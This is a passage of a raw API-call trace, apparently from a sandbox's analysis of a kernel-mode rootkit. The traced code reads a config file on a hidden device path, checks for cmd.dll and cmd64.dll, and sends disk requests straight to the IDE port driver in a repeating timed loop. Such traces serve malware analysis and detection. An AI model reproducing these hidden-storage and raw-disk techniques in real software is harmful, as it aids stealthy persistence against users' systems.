0xfffffa80034fca60 [0119.405] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] KeLeaveCriticalRegion () [0119.405] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.405] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.405] KeEnterCriticalRegion () [0119.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] ExFreePoolWithTag (P=0xfffffa8003bcb2b0, Tag=0x0) [0119.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] KeLeaveCriticalRegion () [0119.405] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.405] ReleaseMutex (hMutex=0xf0) returned 1 [0119.405] Sleep (dwMilliseconds=0x124f80) [0119.420] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.420] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.420] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.420] KeEnterCriticalRegion () [0119.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.420] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.420] IdePortDispatch () returned 0x103 [0119.420] KeWaitForMutexObject () returned 0x0 [0119.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.420] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.420] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.420] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.420] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.420] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c84f0 [0119.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.420] KeLeaveCriticalRegion () [0119.420] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.420] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.420] KeEnterCriticalRegion () [0119.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.420] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.421] KeLeaveCriticalRegion () [0119.421] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.421] KeEnterCriticalRegion () [0119.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.421] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.421] IdePortDispatch () returned 0x103 [0119.421] KeWaitForMutexObject () returned 0x0 [0119.421] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.421] KeLeaveCriticalRegion () [0119.421] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.421] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.421] KeEnterCriticalRegion () [0119.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.421] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d62000 [0119.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.421] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.421] IdePortDispatch () returned 0x103 [0119.421] KeWaitForMutexObject () returned 0x0 [0119.421] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.421] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.421] IdePortDispatch () returned 0x103 [0119.422] KeWaitForMutexObject () returned 0x0 [0119.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.422] KeLeaveCriticalRegion () [0119.422] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.422] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.422] KeEnterCriticalRegion () [0119.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.422] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.422] KeLeaveCriticalRegion () [0119.422] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.422] KeEnterCriticalRegion () [0119.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.422] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.422] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.422] KeLeaveCriticalRegion () [0119.422] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.422] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.422] KeEnterCriticalRegion () [0119.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.422] ExFreePoolWithTag (P=0xfffffa80039c84f0, Tag=0x0) [0119.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.423] KeLeaveCriticalRegion () [0119.423] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.423] ReleaseMutex (hMutex=0xf0) returned 1 [0119.423] Sleep (dwMilliseconds=0x124f80) [0119.428] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.433] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.433] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.433] KeEnterCriticalRegion () [0119.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.433] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.433] IdePortDispatch () returned 0x103 [0119.433] KeWaitForMutexObject () returned 0x0 [0119.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.433] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.433] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.433] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.433] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.433] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbb50 [0119.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.433] KeLeaveCriticalRegion () [0119.433] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.433] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.433] KeEnterCriticalRegion () [0119.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.433] KeLeaveCriticalRegion () [0119.434] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.434] KeEnterCriticalRegion () [0119.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.434] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.434] IdePortDispatch () returned 0x103 [0119.434] KeWaitForMutexObject () returned 0x0 [0119.434] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.434] KeLeaveCriticalRegion () [0119.434] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.434] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.434] KeEnterCriticalRegion () [0119.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.434] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d86000 [0119.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.434] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.434] IdePortDispatch () returned 0x103 [0119.434] KeWaitForMutexObject () returned 0x0 [0119.434] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.434] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.434] IdePortDispatch () returned 0x103 [0119.435] KeWaitForMutexObject () returned 0x0 [0119.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.435] KeLeaveCriticalRegion () [0119.435] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.435] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.435] KeEnterCriticalRegion () [0119.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.435] KeLeaveCriticalRegion () [0119.435] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.435] KeEnterCriticalRegion () [0119.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.435] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.435] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.435] KeLeaveCriticalRegion () [0119.435] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.435] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.436] KeEnterCriticalRegion () [0119.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.436] ExFreePoolWithTag (P=0xfffffa8003bdbb50, Tag=0x0) [0119.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.436] KeLeaveCriticalRegion () [0119.436] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.436] ReleaseMutex (hMutex=0xf0) returned 1 [0119.436] Sleep (dwMilliseconds=0x124f80) [0119.445] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.445] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.445] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.445] KeEnterCriticalRegion () [0119.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.445] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.445] IdePortDispatch () returned 0x103 [0119.445] KeWaitForMutexObject () returned 0x0 [0119.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.445] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.445] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.445] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.445] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.445] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baf9e0 [0119.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.445] KeLeaveCriticalRegion () [0119.445] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.445] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.445] KeEnterCriticalRegion () [0119.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.446] KeLeaveCriticalRegion () [0119.446] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.446] KeEnterCriticalRegion () [0119.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.446] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.446] IdePortDispatch () returned 0x103 [0119.446] KeWaitForMutexObject () returned 0x0 [0119.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.446] KeLeaveCriticalRegion () [0119.446] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.446] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.446] KeEnterCriticalRegion () [0119.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d89000 [0119.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.446] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.446] IdePortDispatch () returned 0x103 [0119.446] KeWaitForMutexObject () returned 0x0 [0119.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.446] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.446] IdePortDispatch () returned 0x103 [0119.447] KeWaitForMutexObject () returned 0x0 [0119.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.447] KeLeaveCriticalRegion () [0119.447] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.447] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.447] KeEnterCriticalRegion () [0119.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.447] KeLeaveCriticalRegion () [0119.447] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.447] KeEnterCriticalRegion () [0119.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.447] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.447] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcbdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.447] KeLeaveCriticalRegion () [0119.447] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.448] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.448] KeEnterCriticalRegion () [0119.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.448] ExFreePoolWithTag (P=0xfffffa8003baf9e0, Tag=0x0) [0119.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.448] KeLeaveCriticalRegion () [0119.448] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.448] ReleaseMutex (hMutex=0xf0) returned 1 [0119.448] Sleep (dwMilliseconds=0x124f80) [0119.461] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.461] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.461] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.461] KeEnterCriticalRegion () [0119.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.462] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.462] IdePortDispatch () returned 0x103 [0119.462] KeWaitForMutexObject () returned 0x0 [0119.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.462] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.462] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.462] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.462] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, 